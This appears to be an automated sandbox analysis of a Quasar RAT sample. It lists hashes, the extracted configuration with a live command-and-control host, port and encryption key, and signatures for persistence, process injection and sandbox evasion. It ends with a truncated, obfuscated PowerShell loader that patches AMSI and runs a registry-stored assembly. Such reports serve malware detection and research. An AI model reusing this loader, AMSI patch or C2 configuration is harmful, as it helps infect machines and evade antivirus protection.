Analysis
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max time kernel
150s -
max time network
134s -
platform
windows10-1703_x64 -
resource
win10-20240404-en -
resource tags
arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system -
submitted
02-05-2024 20:59
Behavioral task
behavioral1
Sample
R0X-Built.exe
Resource
win10-20240404-en
Behavioral task
behavioral2
Sample
R0X-Built.exe
Resource
win10v2004-20240426-en
General
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Target
R0X-Built.exe
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Size
409KB
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MD5
a0f5aa5764c4f66eee82f857f9f447b6
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SHA1
3c3a780d020cb3eb3088223443fe813abb95dccd
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SHA256
43c6b9b6c241dbd6ad1bde7980026235373374d5e836fb6c794354a15e678ef3
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SHA512
458c03ae490e409598b8e9e89911b0757fb61411fbc45a60ecefed3c13d0fc96b7bc205afe1fb3e0f7585eb163f102754ec9259691eca1bfa00b028f74eb8384
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SSDEEP
6144:RMX2pJAJcC0B61K6qZ1fQ57P/EwXhb4azmosb+lfXdOIFyoOOfTA3pwF:lpyJcC+uK6qZ1G8QJjbfNOSOObA3pwF
Malware Config
Extracted
quasar
3.1.5
Slave
even-lemon.gl.at.ply.gg:33587
$Sxr-3vDee7FzoJnhqjuE3n
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encryption_key
KaNwItdY6wlv5nCN4prL
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install_name
$srr-powershell.exe
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log_directory
Logs
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reconnect_delay
1000
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startup_key
$srr-powershell
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subdirectory
Windows
Signatures
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Quasar payload 2 IoCs
Processes:
resource yara_rule behavioral1/memory/2752-1-0x00000000001A0000-0x000000000020C000-memory.dmp family_quasar C:\Users\Admin\AppData\Roaming\Windows\$srr-powershell.exe family_quasar -
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
Processes:
powershell.EXEdescription pid process target process PID 3844 created 556 3844 powershell.EXE winlogon.exe -
Downloads MZ/PE file
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Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
wmiprvse.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion wmiprvse.exe -
Executes dropped EXE 2 IoCs
Processes:
$srr-powershell.exeinstall.exepid process 756 $srr-powershell.exe 5032 install.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
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Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 1 ip-api.com -
Drops file in System32 directory 6 IoCs
Processes:
powershell.EXEOfficeClickToRun.exeDllHost.exedescription ioc process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\WebCache\V01.chk DllHost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.EXEdescription pid process target process PID 3844 set thread context of 4904 3844 powershell.EXE dllhost.exe -
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeSCHTASKS.exeschtasks.exepid process 3840 schtasks.exe 5020 SCHTASKS.exe 5048 schtasks.exe -
Modifies data under HKEY_USERS 57 IoCs
Processes:
powershell.EXEOfficeClickToRun.exesvchost.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Thu, 02 May 2024 21:01:32 GMT" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={447BF857-54C7-402E-9358-1A2490BB118D}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1714683691" OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.EXEdllhost.exe$srr-powershell.exewmiprvse.exepid process 3844 powershell.EXE 3844 powershell.EXE 3844 powershell.EXE 3844 powershell.EXE 4904 dllhost.exe 4904 dllhost.exe 4904 dllhost.exe 4904 dllhost.exe 4904 dllhost.exe 4904 dllhost.exe 756 $srr-powershell.exe 4904 dllhost.exe 4904 dllhost.exe 4904 dllhost.exe 4904 dllhost.exe 4904 dllhost.exe 4904 dllhost.exe 4904 dllhost.exe 4904 dllhost.exe 1400 wmiprvse.exe 756 $srr-powershell.exe 4904 dllhost.exe 4904 dllhost.exe 4904 dllhost.exe 4904 dllhost.exe 4904 dllhost.exe 4904 dllhost.exe 4904 dllhost.exe 4904 dllhost.exe 4904 dllhost.exe 4904 dllhost.exe 756 $srr-powershell.exe 4904 dllhost.exe 4904 dllhost.exe 4904 dllhost.exe 4904 dllhost.exe 4904 dllhost.exe 4904 dllhost.exe 4904 dllhost.exe 4904 dllhost.exe 4904 dllhost.exe 4904 dllhost.exe 756 $srr-powershell.exe 4904 dllhost.exe 4904 dllhost.exe 4904 dllhost.exe 4904 dllhost.exe 4904 dllhost.exe 4904 dllhost.exe 4904 dllhost.exe 4904 dllhost.exe 4904 dllhost.exe 4904 dllhost.exe 756 $srr-powershell.exe 4904 dllhost.exe 4904 dllhost.exe 4904 dllhost.exe 4904 dllhost.exe 4904 dllhost.exe 4904 dllhost.exe 4904 dllhost.exe 4904 dllhost.exe 4904 dllhost.exe 4904 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
R0X-Built.exe$srr-powershell.exepowershell.EXEdllhost.exesvchost.exedescription pid process Token: SeDebugPrivilege 2752 R0X-Built.exe Token: SeDebugPrivilege 756 $srr-powershell.exe Token: SeDebugPrivilege 3844 powershell.EXE Token: SeDebugPrivilege 3844 powershell.EXE Token: SeDebugPrivilege 4904 dllhost.exe Token: SeAssignPrimaryTokenPrivilege 2148 svchost.exe Token: SeIncreaseQuotaPrivilege 2148 svchost.exe Token: SeSecurityPrivilege 2148 svchost.exe Token: SeTakeOwnershipPrivilege 2148 svchost.exe Token: SeLoadDriverPrivilege 2148 svchost.exe Token: SeSystemtimePrivilege 2148 svchost.exe Token: SeBackupPrivilege 2148 svchost.exe Token: SeRestorePrivilege 2148 svchost.exe Token: SeShutdownPrivilege 2148 svchost.exe Token: SeSystemEnvironmentPrivilege 2148 svchost.exe Token: SeUndockPrivilege 2148 svchost.exe Token: SeManageVolumePrivilege 2148 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2148 svchost.exe Token: SeIncreaseQuotaPrivilege 2148 svchost.exe Token: SeSecurityPrivilege 2148 svchost.exe Token: SeTakeOwnershipPrivilege 2148 svchost.exe Token: SeLoadDriverPrivilege 2148 svchost.exe Token: SeSystemtimePrivilege 2148 svchost.exe Token: SeBackupPrivilege 2148 svchost.exe Token: SeRestorePrivilege 2148 svchost.exe Token: SeShutdownPrivilege 2148 svchost.exe Token: SeSystemEnvironmentPrivilege 2148 svchost.exe Token: SeUndockPrivilege 2148 svchost.exe Token: SeManageVolumePrivilege 2148 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2148 svchost.exe Token: SeIncreaseQuotaPrivilege 2148 svchost.exe Token: SeSecurityPrivilege 2148 svchost.exe Token: SeTakeOwnershipPrivilege 2148 svchost.exe Token: SeLoadDriverPrivilege 2148 svchost.exe Token: SeSystemtimePrivilege 2148 svchost.exe Token: SeBackupPrivilege 2148 svchost.exe Token: SeRestorePrivilege 2148 svchost.exe Token: SeShutdownPrivilege 2148 svchost.exe Token: SeSystemEnvironmentPrivilege 2148 svchost.exe Token: SeUndockPrivilege 2148 svchost.exe Token: SeManageVolumePrivilege 2148 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2148 svchost.exe Token: SeIncreaseQuotaPrivilege 2148 svchost.exe Token: SeSecurityPrivilege 2148 svchost.exe Token: SeTakeOwnershipPrivilege 2148 svchost.exe Token: SeLoadDriverPrivilege 2148 svchost.exe Token: SeSystemtimePrivilege 2148 svchost.exe Token: SeBackupPrivilege 2148 svchost.exe Token: SeRestorePrivilege 2148 svchost.exe Token: SeShutdownPrivilege 2148 svchost.exe Token: SeSystemEnvironmentPrivilege 2148 svchost.exe Token: SeUndockPrivilege 2148 svchost.exe Token: SeManageVolumePrivilege 2148 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2148 svchost.exe Token: SeIncreaseQuotaPrivilege 2148 svchost.exe Token: SeSecurityPrivilege 2148 svchost.exe Token: SeTakeOwnershipPrivilege 2148 svchost.exe Token: SeLoadDriverPrivilege 2148 svchost.exe Token: SeSystemtimePrivilege 2148 svchost.exe Token: SeBackupPrivilege 2148 svchost.exe Token: SeRestorePrivilege 2148 svchost.exe Token: SeShutdownPrivilege 2148 svchost.exe Token: SeSystemEnvironmentPrivilege 2148 svchost.exe Token: SeUndockPrivilege 2148 svchost.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
R0X-Built.exe$srr-powershell.exepowershell.EXEdllhost.exedescription pid process target process PID 2752 wrote to memory of 3840 2752 R0X-Built.exe schtasks.exe PID 2752 wrote to memory of 3840 2752 R0X-Built.exe schtasks.exe PID 2752 wrote to memory of 3840 2752 R0X-Built.exe schtasks.exe PID 2752 wrote to memory of 756 2752 R0X-Built.exe $srr-powershell.exe PID 2752 wrote to memory of 756 2752 R0X-Built.exe $srr-powershell.exe PID 2752 wrote to memory of 756 2752 R0X-Built.exe $srr-powershell.exe PID 2752 wrote to memory of 5032 2752 R0X-Built.exe install.exe PID 2752 wrote to memory of 5032 2752 R0X-Built.exe install.exe PID 2752 wrote to memory of 5032 2752 R0X-Built.exe install.exe PID 2752 wrote to memory of 5020 2752 R0X-Built.exe SCHTASKS.exe PID 2752 wrote to memory of 5020 2752 R0X-Built.exe SCHTASKS.exe PID 2752 wrote to memory of 5020 2752 R0X-Built.exe SCHTASKS.exe PID 756 wrote to memory of 5048 756 $srr-powershell.exe schtasks.exe PID 756 wrote to memory of 5048 756 $srr-powershell.exe schtasks.exe PID 756 wrote to memory of 5048 756 $srr-powershell.exe schtasks.exe PID 3844 wrote to memory of 4904 3844 powershell.EXE dllhost.exe PID 3844 wrote to memory of 4904 3844 powershell.EXE dllhost.exe PID 3844 wrote to memory of 4904 3844 powershell.EXE dllhost.exe PID 3844 wrote to memory of 4904 3844 powershell.EXE dllhost.exe PID 3844 wrote to memory of 4904 3844 powershell.EXE dllhost.exe PID 3844 wrote to memory of 4904 3844 powershell.EXE dllhost.exe PID 3844 wrote to memory of 4904 3844 powershell.EXE dllhost.exe PID 3844 wrote to memory of 4904 3844 powershell.EXE dllhost.exe PID 4904 wrote to memory of 556 4904 dllhost.exe winlogon.exe PID 4904 wrote to memory of 636 4904 dllhost.exe lsass.exe PID 4904 wrote to memory of 740 4904 dllhost.exe svchost.exe PID 4904 wrote to memory of 904 4904 dllhost.exe svchost.exe PID 4904 wrote to memory of 1012 4904 dllhost.exe dwm.exe PID 4904 wrote to memory of 700 4904 dllhost.exe svchost.exe PID 4904 wrote to memory of 588 4904 dllhost.exe svchost.exe PID 4904 wrote to memory of 828 4904 dllhost.exe svchost.exe PID 4904 wrote to memory of 1064 4904 dllhost.exe svchost.exe PID 4904 wrote to memory of 1120 4904 dllhost.exe svchost.exe PID 4904 wrote to memory of 1164 4904 dllhost.exe svchost.exe PID 4904 wrote to memory of 1244 4904 dllhost.exe svchost.exe PID 4904 wrote to memory of 1252 4904 dllhost.exe svchost.exe PID 4904 wrote to memory of 1268 4904 dllhost.exe svchost.exe PID 4904 wrote to memory of 1372 4904 dllhost.exe svchost.exe PID 4904 wrote to memory of 1420 4904 dllhost.exe svchost.exe PID 4904 wrote to memory of 1448 4904 dllhost.exe svchost.exe PID 4904 wrote to memory of 1512 4904 dllhost.exe svchost.exe PID 4904 wrote to memory of 1564 4904 dllhost.exe svchost.exe PID 4904 wrote to memory of 1588 4904 dllhost.exe svchost.exe PID 4904 wrote to memory of 1652 4904 dllhost.exe svchost.exe PID 4904 wrote to memory of 1784 4904 dllhost.exe svchost.exe PID 4904 wrote to memory of 1792 4904 dllhost.exe svchost.exe PID 4904 wrote to memory of 1808 4904 dllhost.exe svchost.exe PID 4904 wrote to memory of 1816 4904 dllhost.exe svchost.exe PID 4904 wrote to memory of 1884 4904 dllhost.exe svchost.exe PID 4904 wrote to memory of 1972 4904 dllhost.exe spoolsv.exe PID 4904 wrote to memory of 2060 4904 dllhost.exe svchost.exe PID 4904 wrote to memory of 2148 4904 dllhost.exe svchost.exe PID 4904 wrote to memory of 2328 4904 dllhost.exe svchost.exe PID 4904 wrote to memory of 2336 4904 dllhost.exe svchost.exe PID 4904 wrote to memory of 2372 4904 dllhost.exe svchost.exe PID 4904 wrote to memory of 2428 4904 dllhost.exe svchost.exe PID 4904 wrote to memory of 2532 4904 dllhost.exe svchost.exe PID 4904 wrote to memory of 2540 4904 dllhost.exe svchost.exe PID 4904 wrote to memory of 2560 4904 dllhost.exe sysmon.exe PID 4904 wrote to memory of 2580 4904 dllhost.exe svchost.exe PID 4904 wrote to memory of 2596 4904 dllhost.exe svchost.exe PID 4904 wrote to memory of 2808 4904 dllhost.exe unsecapp.exe PID 4904 wrote to memory of 3100 4904 dllhost.exe sihost.exe PID 4904 wrote to memory of 3116 4904 dllhost.exe svchost.exe
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:556
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:1012
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{46754dba-6dc1-4fcc-8e05-b73ad73504c5}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4904
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:636
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k dcomlaunch -s PlugPlay1⤵PID:740
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k dcomlaunch -s LSM1⤵PID:904
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservicenetworkrestricted -s lmhosts1⤵PID:700
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s NcbService1⤵PID:588
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s gpsvc1⤵PID:828
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservicenetworkrestricted -s EventLog1⤵PID:1064
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Schedule1⤵PID:1120
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c:\windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:3188
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:XFBFLPNOhFSi{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$HxYRqXtRgHQfAt,[Parameter(Position=1)][Type]$npfPkjKtXU)$UEVESBBeKZX=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+''+[Char](102)+''+'l'+''+[Char](101)+''+'c'+''+'t'+''+[Char](101)+''+[Char](100)+''+'D'+''+[Char](101)+'l'+[Char](101)+''+[Char](103)+''+'a'+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+[Char](77)+''+'e'+''+[Char](109)+''+[Char](111)+'r'+[Char](121)+''+[Char](77)+'o'+'d'+''+'u'+'le',$False).DefineType(''+'M'+''+[Char](121)+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+'e'+''+'g'+''+[Char](97)+''+[Char](116)+''+[Char](101)+'T'+[Char](121)+''+'p'+''+'e'+'','C'+[Char](108)+'a'+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](80)+''+'u'+''+[Char](98)+''+'l'+'i'+'c'+''+[Char](44)+''+[Char](83)+''+[Char](101)+''+[Char](97)+''+[Char](108)+''+[Char](101)+'d,'+'A'+''+[Char](110)+''+'s'+''+'i'+'C'+[Char](108)+'ass'+','+''+[Char](65)+''+[Char](117)+'t'+[Char](111)+''+'C'+''+'l'+''+[Char](97)+''+'s'+''+[Char](115)+'',[MulticastDelegate]);$UEVESBBeKZX.DefineConstructor(''+'R'+''+'T'+''+[Char](83)+''+[Char](112)+''+'e'+'ci'+'a'+'l'+[Char](78)+'a'+[Char](109)+'e'+','+''+[Char](72)+'i'+[Char](100)+'e'+[Char](66)+''+[Char](121)+''+'S'+''+[Char](105)+''+[Char](103)+''+[Char](44)+'P'+'u'+''+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$HxYRqXtRgHQfAt).SetImplementationFlags('Ru'+[Char](110)+''+[Char](116)+''+'i'+''+'m'+''+'e'+''+[Char](44)+'M'+[Char](97)+''+[Char](110)+''+[Char](97)+'ge'+'d'+'');$UEVESBBeKZX.DefineMethod(''+'I'+'n'+[Char](118)+''+'o'+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+'bl'+[Char](105)+'c'+','+''+[Char](72)+'id'+'e'+''+'B'+''+[Char](121)+''+'S'+'i'+[Char](103)+''+','+'N'+'e'+''+[Char](119)+''+[Char](83)+''+[Char](108)+''+[Char](111)+''+'t'+''+[Char](44)+''+[Char](86)+''+[Char](105)+'r'+'t'+'u'+[Char](97)+'l',$npfPkjKtXU,$HxYRqXtRgHQfAt).SetImplementationFlags('R'+[Char](117)+'n'+[Char](116)+'im'+[Char](101)+','+'M'+''+[Char](97)+''+'n'+''+[Char](97)+''+[Char](103)+'e'+[Char](100)+'');Write-Output $UEVESBBeKZX.CreateType();}$DkHnQcqQqyiFj=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+'y'+[Char](115)+''+[Char](116)+''+'e'+''+[Char](109)+''+[Char](46)+'dl'+[Char](108)+'')}).GetType(''+'M'+'i'+[Char](99)+''+[Char](114)+''+[Char](111)+''+[Char](115)+'o'+[Char](102)+''+[Char](116)+''+'.'+''+'W'+''+[Char](105)+''+'n'+''+[Char](51)+'2'+[Char](46)+''+[Char](85)+'n'+[Char](115)+''+[Char](97)+'f'+'e'+''+'N'+'a'+'t'+'iv'+[Char](101)+''+[Char](77)+'e'+[Char](116)+'h'+'o'+''+[Char](100)+''+[Char](115)+'');$YUXgmYSFMdjTQp=$DkHnQcqQqyiFj.GetMethod(''+[Char](71)+''+[Char](101)+'t'+[Char](80)+''+[Char](114)+'o'+[Char](99)+''+[Char](65)+''+'d'+''+[Char](100)+''+[Char](114)+'es'+'s'+'',[Reflection.BindingFlags](''+[Char](80)+''+'u'+''+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+'t'+[Char](97)+''+'t'+'i'+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$OaTVqtoYTdPSqPOphTs=XFBFLPNOhFSi @([String])([IntPtr]);$MoEwWJiVxrImEmOuVprtba=XFBFLPNOhFSi @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$AYMVTQYYIhZ=$DkHnQcqQqyiFj.GetMethod(''+[Char](71)+'e'+[Char](116)+''+'M'+''+'o'+''+[Char](100)+''+'u'+''+'l'+''+[Char](101)+''+'H'+''+[Char](97)+''+'n'+''+'d'+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object]('k'+[Char](101)+''+[Char](114)+'n'+[Char](101)+''+[Char](108)+'32'+'.'+''+'d'+'l'+[Char](108)+'')));$XNEuzGHkQiIYtW=$YUXgmYSFMdjTQp.Invoke($Null,@([Object]$AYMVTQYYIhZ,[Object](''+[Char](76)+'o'+'a'+''+[Char](100)+''+'L'+'i'+[Char](98)+''+'r'+''+'a'+''+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$PehuIdZilMZFzVRCR=$YUXgmYSFMdjTQp.Invoke($Null,@([Object]$AYMVTQYYIhZ,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+'lP'+[Char](114)+'o'+'t'+''+'e'+''+'c'+''+[Char](116)+'')));$gKgzYgU=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($XNEuzGHkQiIYtW,$OaTVqtoYTdPSqPOphTs).Invoke(''+'a'+'m'+'s'+''+[Char](105)+''+'.'+''+[Char](100)+''+'l'+''+[Char](108)+'');$coHxVhaugNkpusFxG=$YUXgmYSFMdjTQp.Invoke($Null,@([Object]$gKgzYgU,[Object](''+[Char](65)+''+[Char](109)+'s'+'i'+''+'S'+''+'c'+'a'+'n'+''+[Char](66)+'u'+'f'+''+[Char](102)+''+'e'+'r')));$VKZFxLXspm=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($PehuIdZilMZFzVRCR,$MoEwWJiVxrImEmOuVprtba).Invoke($coHxVhaugNkpusFxG,[uint32]8,4,[ref]$VKZFxLXspm);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$coHxVhaugNkpusFxG,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($PehuIdZilMZFzVRCR,$MoEwWJiVxrImEmOuVprtba).Invoke($coHxVhaugNkpusFxG,[uint32]8,0x20,[ref]$VKZFxLXspm);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+[Char](70)+''+[Char](84)+''+[Char](87)+''+'A'+''+'R'+''+[Char](69)+'').GetValue(''+[Char](36)+'7'+[Char](55)+'s'+[Char](116)+''+[Char](97)+'g'+[Char](101)+'r')).EntryPoint.I